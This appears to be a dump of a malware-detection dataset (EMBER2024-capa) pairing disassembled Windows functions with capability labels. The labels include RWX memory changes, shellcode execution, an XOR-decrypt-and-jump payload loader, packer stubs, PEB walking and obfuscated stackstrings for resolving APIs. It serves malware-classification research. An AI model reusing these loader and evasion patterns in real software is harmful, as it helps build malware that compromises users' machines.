joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001cf0
Capabilities:
Reference cloudflare dns server

Disassembly:
sub esp, 0x18
mov eax, dword [0x1000401c]
xor eax, esp
mov dword [esp + 0x14], eax
mov byte [esp], 0xc1
mov byte [esp + 2], 0xfe
mov byte [esp + 3], 2
mov byte [esp + 1], 0x14
mov ecx, str.1.1.1.1
mov eax, 0x10006b68
jmp 0x10001d20
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001d40
test dl, dl
je 0x10001d3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001d40
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001d20
xor eax, eax
jmp 0x10001d45
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10001d50
call fcn.10002200
jmp 0x10001d55
mov eax, 0x10006b68
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov dx, word [eax + 0xc]
push esi
movzx esi, byte [esp + 5]
mov word [esp + 0x14], dx
mov al, byte [eax + 0xe]
lea ecx, [esp + 4]
mov byte [esp + 0x16], al
call fcn.10001ac0
mov ecx, dword [esp + 0x18]
pop esi
xor ecx, esp
call fcn.10002375
add esp, 0x18
ret

Function at 0x10001db0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 8
push ebp
movzx esi, si
push edi
push esi
call fcn.1000236a
push esi
mov edi, eax
push 0x90
push edi
call sub.MSVCR90.dll_memset
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x10
lea eax, [esp + 8]
push eax
push 0x40
push esi
push ebx
mov dword [esp + 0x18], 0
call ebp
test eax, eax
jne 0x10001df8
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebp
add esp, 8
ret
push esi
push edi
push ebx
call sub.MSVCR90.dll_memcpy
mov edx, dword [esp + 0x14]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push esi
push ebx
mov dword [esp + 0x1c], 0
call ebp
test eax, eax
je 0x10001dec
pop edi
xor eax, eax
pop ebp
add esp, 8
ret

Function at 0x10001e30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 8
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 8]
push eax
push 0x40
push 1
push esi
mov bl, 0xa
mov dword [esp + 0x18], 0
call edi
test eax, eax
jne 0x10001e61
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
add esp, 8
ret
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push edx
push 1
push esi
mov byte [esi], bl
mov dword [esp + 0x1c], 0
call edi
test eax, eax
je 0x10001e55
pop edi
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x10001e90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x14
mov eax, dword [0x1000401c]
xor eax, esp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 4]
push edx
push 0x40
sub eax, esi
push 5
sub eax, 5
push esi
mov byte [esp + 0x1c], cl
mov dword [esp + 0x1d], eax
mov dword [esp + 0x14], 0
call edi
test eax, eax
jne 0x10001ee4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10002375
add esp, 0x14
ret
mov eax, dword [esp + 0xc]
mov cl, byte [esp + 0x10]
mov dword [esi], eax
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push 5
push esi
mov byte [esi + 4], cl
mov dword [esp + 0x18], 0
call edi
test eax, eax
je 0x10001ece
mov ecx, dword [esp + 0x14]
pop edi
xor ecx, esp
xor eax, eax
call fcn.10002375
add esp, 0x14
ret
Function at 0x10002375
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000401c]
jne 0x1000237f
repz ret
jmp fcn.10002846

Function at 0x40152a
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x401586
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040152a
test eax, eax
jne 0x401620
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020b6
sub eax, 0x401654
mov dword [esp], 0x401654
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401620
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401420
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014a3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401db9
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x28], str.knwnncwljulwt
lea ecx, [ebp - 0x60]
call fcn.004020c0
push 0x2faf080
call fcn.004095d3
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401fb1
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
jmp 0x4020a5
mov dword [ebp - 0x24], 0
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp - 0xc]
add edx, 0x2faf080
mov ecx, dword [ebp - 0xc]
call fcn.00407930
mov dword [ebp - 8], 0
jmp 0x401fdf
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x15a7
jae 0x402031
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + 0x42a4d0]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
sar edx, 3
movzx eax, byte [ebp - 1]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 2]
xor edx, ecx
mov eax, dword [ebp - 8]
mov byte [eax + 0x42a4d0], dl
mov eax, dword [ebp - 0x10]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x10], edx
jmp 0x401fd6
push 0x40
push 0x3000
push 0x15a7
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18], eax
push 0x15a7
push 0x42a4d0
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040e380
add esp, 0xc
mov eax, dword [ebp - 0x18]
jmp eax
lea ecx, [ebp - 0x60]
call fcn.00402110
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x419f4e
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4294c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00410aa5
mov dword [ebp - 0x14], eax
cmp dword [0x42d0c0], esi
jne 0x41a041
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x419fce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41a121
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41a121
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41a121
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42d0c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42d0c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42d0c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42d0d0], eax
test eax, eax
je 0x41a03e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42d0cc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41a066
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41a059
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41a07b
push 4
pop eax
jmp 0x41a123
cmp dword [ebp - 0x14], esi
je 0x41a07b
push dword [0x42d0c0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41a060
mov eax, dword [0x42d0cc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41a0d9
cmp dword [0x42d0d0], edi
je 0x41a0d9
push eax
call ebx
push dword [0x42d0d0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41a0d9
test eax, eax
je 0x41a0d9
call ecx
test eax, eax
je 0x41a0ce
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41a0ce
test byte [ebp - 8], 1
jne 0x41a0d9
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41a109
mov eax, dword [0x42d0c4]
cmp eax, edi
je 0x41a106
push eax
call ebx
test eax, eax
je 0x41a106
call eax
mov esi, eax
test esi, esi
je 0x41a106
mov eax, dword [0x42d0c8]
cmp eax, edi
je 0x41a106
push eax
call ebx
test eax, eax
je 0x41a106
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42d0c0]
call ebx
test eax, eax
je 0x41a121
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41a123
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ea5b
mov esp, ebp
pop ebp
ret
Function at 0x416900
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0041698f
jae 0x41690e
xor ecx, ecx
call fcn.0041698f
jae 0x41693d
xor eax, eax
call fcn.0041698f
jae 0x41694d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0041698f
adc al, al
jae 0x41692f
jne 0x416979
stosb byte es:[edi], al
jmp 0x416911
call fcn.0041699b
sub ecx, ebx
jne 0x416956
call fcn.00416999
jmp 0x416975
lodsb al, byte [esi]
shr eax, 1
je 0x416983
adc ecx, ecx
jmp 0x416972
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00416999
cmp eax, 0x7d00
jae 0x416972
cmp ah, 5
jae 0x416973
cmp eax, 0x7f
ja 0x416974
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x416911
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..retplne
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x4813c3f
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2b6367d9
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1000bae2
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x1000bb96
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.1000ba72
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x1000bb6f
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000bba2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x1000bbbd
test ebp, ebp
je 0x1000bbbd
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x1000bbc5
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x1000bc05
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000bc61
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x1000bc5c
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1000bc47
test dl, dl
je 0x1000bc43
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1000bc47
add ecx, 2
add eax, 2
test dl, dl
jne 0x1000bc27
xor eax, eax
jmp 0x1000bc4c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000bc6b
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x1000bc14
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x1000bc82
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.1000bae2
test eax, eax
jne 0x1000bc9a
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.1000bba2
mov esi, eax
test esi, esi
jne 0x1000bcd0
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x1000bcea
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x1000bde2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.1000bae2
mov esi, eax
test esi, esi
jne 0x1000be00
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.1000bba2
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000bdf8
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.1000bba2
mov dword [esp + 0x34], eax
test eax, eax
je 0x1000bdf8
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.1000bba2
mov dword [esp + 0x28], eax
test eax, eax
je 0x1000bdf8
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.1000bba2
mov dword [esp + 0x30], eax
test eax, eax
je 0x1000bdf8
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x1000bfc7
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x1000bfc7
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x1000bf2a
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x1000bfab
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x1000bf4d
movzx esi, ax
jmp 0x1000bf52
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x1000bf71
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x1000bf80
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x1000bfd4
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x1000bf42
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x1000bf07
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x1000bffd
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x1000bffd
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x1000bfe2
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret